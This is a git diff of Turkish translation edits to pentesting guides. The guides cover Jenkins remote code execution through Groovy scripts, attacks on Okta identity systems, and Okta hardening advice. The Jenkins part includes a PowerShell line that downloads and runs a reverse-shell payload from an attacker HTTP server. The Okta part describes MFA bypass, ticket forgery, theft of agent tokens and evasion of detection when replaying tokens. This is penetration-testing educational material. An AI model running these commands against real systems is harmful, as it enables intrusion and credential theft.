yapılandıramayacağınızı** kontrol edin ( "Yapılandır" butonunu arayın): @@ -22,15 +22,15 @@ Projeleri kontrol edin ve **herhangi birini yapılandırıp yapılandıramayaca Eğer **hiçbir** **yapılandırma** **butonu** göremiyorsanız, muhtemelen **yapılandıramazsınız** (ancak bazı projeleri yapılandırma yetkiniz olabilir, bu yüzden tüm projeleri kontrol edin). -Ya da her projede **/job//configure** veya **/me/my-views/view/all/job//configure** yoluna erişmeyi **deneyin** (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`). +Ya da **/job//configure** veya **/me/my-views/view/all/job//configure** yoluna erişmeyi deneyin \_\_ her projede (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Çalıştırma -Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşaat olduğunda komutları çalıştırmasını sağlayabilirsiniz**: +Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşa olduğunda komutları çalıştırmasını sağlayabilirsiniz**: ![](<../../images/image (98).png>) -**Kaydet**'e tıklayın ve projeyi **inşa edin** ve **komutunuz çalıştırılacaktır**.\ -Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşaatın çıktısında görebilirsiniz**. +**Kaydet** butonuna tıklayın ve projeyi **inşa edin**, böylece **komutunuz çalıştırılacaktır**.\ +Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşanın çıktısında görebilirsiniz**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 64db32da3..34f0b3413 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,10 +4,10 @@ ## Jenkins RCE with Groovy Script -Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülüdür. +Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülü. -1. _path_jenkins/script_ yoluna gidin -2. Metin kutusuna script'i ekleyin +1. _path_jenkins/script_ yoluna gidin. +2. Metin kutusuna script'i ekleyin. ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" @@ -18,7 +18,7 @@ Bir komutu şu şekilde çalıştırabilirsiniz: `cmd.exe /c dir` Metin içinde _tırnak_ ve _tek tırnak_ kullanmanız gerekiyorsa, yükü çalıştırmak için _"""PAYLOAD"""_ (üçlü çift tırnak) kullanabilirsiniz. -**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] kısmını değiştirin): +**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] ile değiştirin): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -36,7 +36,7 @@ println "out> $sout err> $serr" ``` ### Windows'ta Ters Shell -Bir PS ters shell ile bir HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz: +Bir PS ters shell ile HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 @@ -46,7 +46,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc Bu süreci [**bu script ile**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) otomatikleştirebilirsiniz. -Ters bir shell almak için MSF kullanabilirsiniz: +Bir ters shell almak için MSF kullanabilirsiniz: ``` msf> use exploit/multi/http/jenkins_script_console ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 7357a60ee..ce9973c53 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,29 +4,29 @@ ## Temel Bilgiler -[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hassas verilerini korumak isteyen şirketlere ve uygulamalara, web hizmetlerine ve cihazlara kimlik kontrollerini entegre etmekle ilgilenen geliştiricilere hitap etmektedir. +[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hem hassas verilerini korumak isteyen şirketlere hem de kimlik kontrollerini uygulamalara, web hizmetlerine ve cihazlara entegre etmekle ilgilenen geliştiricilere hitap etmektedir. Okta'nın amiral gemisi ürünü **Okta Identity Cloud**'dır. Bu platform, aşağıdakiler de dahil olmak üzere bir dizi ürünü kapsamaktadır: -- **Tek Oturum Açma (SSO)**: Birden fazla uygulama arasında tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir. +- **Tek Oturum Açma (SSO)**: Birden fazla uygulama için tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir. - **Çok Faktörlü Kimlik Doğrulama (MFA)**: Birden fazla doğrulama biçimi gerektirerek güvenliği artırır. - **Yaşam Döngüsü Yönetimi**: Kullanıcı hesaplarının oluşturulması, güncellenmesi ve devre dışı bırakılması süreçlerini otomatikleştirir. - **Evrensel Dizin**: Kullanıcıların, grupların ve cihazların merkezi yönetimini sağlar. - **API Erişim Yönetimi**: API'lere erişimi güvence altına alır ve yönetir. -Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak kabul edilmektedir. +Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak tanınmaktadır. > [!CAUTION] > Okta'nın ana hedefi, farklı kullanıcılar ve gruplar için dış uygulamalara erişimi yapılandırmaktır. Eğer bir **Okta** ortamında **yönetici ayrıcalıklarını ele geçirirseniz**, şirketin kullandığı **diğer tüm platformları ele geçirme** olasılığınız oldukça yüksektir. > [!TIP] -> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici salt okunur erişimi** talep etmelisiniz. +> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici yalnızca okuma erişimi** talep etmelisiniz. ### Özet **Kullanıcılar** (Okta'da **saklanabilir**, yapılandırılmış **Kimlik Sağlayıcılarından** oturum açabilir veya **Active Directory** veya LDAP aracılığıyla kimlik doğrulaması yapılabilir).\ Bu kullanıcılar **gruplar** içinde olabilir.\ -Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama için farklı seçenekler ve WebAuthn, e-posta, telefon, Okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)... +Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama seçenekleri ve WebAuthn, e-posta, telefon, okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)... Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama, bilgi paylaşmak için Okta ile bazı **eşleştirmelere** sahip olacaktır (örneğin e-posta adresleri, adlar...). Ayrıca, her uygulama bir **Kimlik Doğrulama Politikası** içinde olmalıdır; bu, bir kullanıcının uygulamaya **erişmesi** için gereken **kimlik doğrulayıcıları** belirtir. @@ -39,25 +39,25 @@ Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama, ### Okta Portalını Bulma -Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**. +Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Eğer bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**. ### Kerberos ile Okta'ya Giriş -Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** elde ettikten sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır. +Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** aldıktan sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır. -**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifresine sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin. +**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifreye sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin. **Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Okta AD Ajanını Ele Geçirme -Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** dosyasındaki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, kimlik doğrulama verilerini **yakalama ve manipüle etme** potansiyeline sahip olabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'skeleton key' gibi). +Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** içindeki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, **kimlik doğrulama verilerini** potansiyel olarak **yakalamak ve manipüle etmek** için fırsat bulabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'anahtar' gibi). **Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Yönetici Olarak AD'yi Ele Geçirme -Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işleme** almasına olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar. +Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işlemesine** olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar. **Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** @@ -65,7 +65,7 @@ Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi **Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan erişim kontrolünü önemli ölçüde artırır. +Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan, erişim kontrolünü önemli ölçüde artırır. ### Evilgnix ile Okta Portalını Phishing @@ -73,9 +73,9 @@ Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın ç ### Meslektaş Taklit Saldırısı -Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır. +Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **ID'ye güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır. -Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine** değiştirme yeteneğine sahip olabilirsiniz ve onu taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek). +Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine değiştirme** olanağına sahip olabilirsiniz ve taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek). Bu taklit etme, her uygulamanın nasıl yapılandırıldığına bağlıdır. Sadece değiştirdiğiniz alana güvenen ve güncellemeleri kabul edenler tehlikeye girecektir.\ Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir: @@ -84,19 +84,19 @@ Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir: Ayrıca, o alana sahip olmayan ancak savunmasız olan diğer uygulamaları da gördüm (en sonunda farklı uygulamalar farklı şekilde yapılandırılmıştır). -Her uygulamada birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir! +Her uygulamada herhangi birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir! -## Davranışsal tespit politikalarını atlatma +## Davranışsal tespit politikalarından kaçınma -Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedef alarak** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın. +Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedefleyerek** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın. Anahtar öneriler şunlardır: -- **Popüler anonimleştirici proxy'leri ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken. +- **Popüler anonimleştirici proxy'ler ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken. - **İstemci ile yeniden oynatılan erişim token'ları arasında tutarlı kullanıcı ajanı dizgeleri** olduğundan emin olun. - **Aynı IP adresinden farklı kullanıcılardan token'ları yeniden oynatmaktan kaçının.** - Okta kontrol paneline karşı token'ları yeniden oynatırken dikkatli olun. -- Kurban şirketinin IP adreslerinden haberdarsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin. +- Eğer kurban şirketin IP adreslerini biliyorsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin. ## Okta Güçlendirme diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 743d00fc2..bb71567f5 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -1,49 +1,49 @@ -# Okta Hardening +# Okta Güçlendirme {{#include ../../banners/hacktricks-training.md}} -## Directory +## Dizin -### People +### İnsanlar -Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **ait oldukları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir. +Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **katıldıkları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir. Beyaz kutu incelemesi için, "**Bekleyen kullanıcı eylemi**" ve "**Şifre sıfırlama**" gibi birden fazla durumun olmadığından emin olun. -### Groups +### Gruplar Burada Okta'da oluşturulan tüm grupları bulabilirsiniz. Kullanıcılara verilebilecek farklı grupların (**izin setleri**) anlaşılması ilginçtir.\ -Grupların içindeki **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz. +Gruplara dahil olan **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz. Elbette, **admin** ismine sahip herhangi bir grup ilginçtir, özellikle **Küresel Yöneticiler** grubu, en ayrıcalıklı üyelerin kimler olduğunu öğrenmek için üyeleri kontrol edin. -Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (2 veya 3 olması daha iyidir). +Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (en iyisi sadece 2 veya 3 olmasıdır). -### Devices +### Cihazlar Burada tüm kullanıcıların **tüm cihazlarının listesini** bulabilirsiniz. Ayrıca, bunun **aktif olarak yönetilip yönetilmediğini** de görebilirsiniz. -### Profile Editor +### Profil Düzenleyici -Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri **diğer hesapları ele geçirmeye** çalışabilir. +Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri diğer hesapları **ele geçirmeye** çalışabilir. -Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncelleyin** ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için onu doğrulamanız gerektiğini unutmayın). +Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncellemek** için gidin ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için doğrulamanız gerektiğini unutmayın). -### Directory Integrations +### Dizin Entegrasyonları -Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada, diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum. +Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum. Bunu görmedim, ama bu, **Okta'nın kullanıcıları içe aktarmak için kullandığı diğer dizinleri** bulmak için ilginçtir, böylece eğer **o dizini tehlikeye atarsanız**, Okta'da oluşturulan kullanıcıların bazı nitelik değerlerini ayarlayabilir ve **belki de Okta ortamını tehlikeye atabilirsiniz**. -### Profile Sources +### Profil Kaynakları -Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak olarak işlev gören bir uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir. +Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak** olarak işlev gören bir **uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir. Bunu görmedim, bu seçenekle ilgili güvenlik ve hacking hakkında herhangi bir bilgi takdir edilir. -## Customizations +## Özelleştirmeler -### Brands +### Markalar Bu bölümün **Alanlar** sekmesinde, e-posta göndermek için kullanılan e-posta adreslerini ve şirketin Okta içindeki özel alanını kontrol edin (bunu muhtemelen zaten biliyorsunuzdur). @@ -53,19 +53,19 @@ Ayrıca, **Ayarlar** sekmesinde, eğer yöneticiyseniz, "**Özel bir çıkış s Burada ilginç bir şey yok. -### End-User Dashboard +### Son Kullanıcı Gösterge Tablosu Burada yapılandırılmış uygulamaları bulabilirsiniz, ancak bunların ayrıntılarını daha sonra farklı bir bölümde göreceğiz. -### Other +### Diğer İlginç bir ayar, ancak güvenlik açısından süper ilginç bir şey yok. -## Applications +## Uygulamalar -### Applications +### Uygulamalar -Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırıldığı (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler... +Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırılmış (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler... **`Oturum Açma`** sekmesinde, uygulama ayarlarını kontrol ederken bir kullanıcının **şifresini açığa çıkarmasına** izin veren **`Şifreyi göster`** adında bir alan da bulunmaktadır. Kullanıcı Panelinden bir uygulamanın ayarlarını kontrol etmek için 3 noktaya tıklayın: @@ -75,22 +75,22 @@ Ve uygulama hakkında daha fazla ayrıntı görebilirsiniz (şifreyi gösterme
-## Identity Governance +## Kimlik Yönetimi -### Access Certifications +### Erişim Sertifikaları -Erişim Sertifikalarını kullanarak, kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun. +Erişim Sertifikalarını kullanarak kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun. -Bunu kullanmadım, ama savunma açısından güzel bir özellik olduğunu düşünüyorum. +Bunu kullanıldığını görmedim, ama savunma açısından güzel bir özellik olduğunu düşünüyorum. -## Security +## Güvenlik -### General +### Genel -- **Güvenlik bildirim e-postaları**: Hepsi etkinleştirilmelidir. +- **Güvenlik bildirim e-postaları**: Hepsi etkin olmalıdır. - **CAPTCHA entegrasyonu**: En azından görünmez reCaptcha ayarlamak önerilir. -- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün uygundur). -- **Kullanıcı numaralandırma önleme**: Her ikisi de etkinleştirilmelidir. +- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün yeterlidir). +- **Kullanıcı numaralandırma önleme**: Her ikisi de etkin olmalıdır. - Kullanıcı Numaralandırma Önleme, aşağıdaki koşullardan biri izin verilirse etkili olmaz (daha fazla bilgi için [Kullanıcı yönetimi](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) bakın): - Kendinize hizmet kaydı - E-posta kimlik doğrulaması ile JIT akışları @@ -100,7 +100,7 @@ Bunu kullanmadım, ama savunma açısından güzel bir özellik olduğunu düş Burada doğru ve **tehlikeli** yapılandırılmış **ayarları** bulmak mümkündür. -### Authenticators +### Kimlik Doğrulayıcılar Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini bulabilirsiniz: Şifre, telefon, e-posta, kod, WebAuthn... Şifre kimlik doğrulayıcısına tıkladığınızda **şifre politikası** görebilirsiniz. Güçlü olduğundan emin olun. @@ -110,13 +110,13 @@ Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini Telefonu devre dışı bırakmak önerilir. En güçlü olanlar muhtemelen şifre, e-posta ve WebAuthn kombinasyonudur. -### Authentication policies +### Kimlik Doğrulama Politikaları Her uygulamanın bir kimlik doğrulama politikası vardır. Kimlik doğrulama politikası, uygulamaya giriş yapmaya çalışan kullanıcıların belirli koşulları karşıladığını doğrular ve bu koşullara dayalı olarak faktör gereksinimlerini uygular. Burada her uygulamaya erişim için **gereksinimleri** bulabilirsiniz. Her uygulama için en az bir şifre ve başka bir yöntem talep edilmesi önerilir. Ancak bir saldırgan olarak daha zayıf bir şey bulursanız, onu hedef alabilirsiniz. -### Global Session Policy +### Küresel Oturum Politikası Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin: @@ -124,75 +124,75 @@ Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin MFA talep edilmesi, oturum süresinin birkaç saatle sınırlanması, oturum çerezlerinin tarayıcı uzantıları arasında kalıcı olmaması ve konum ile 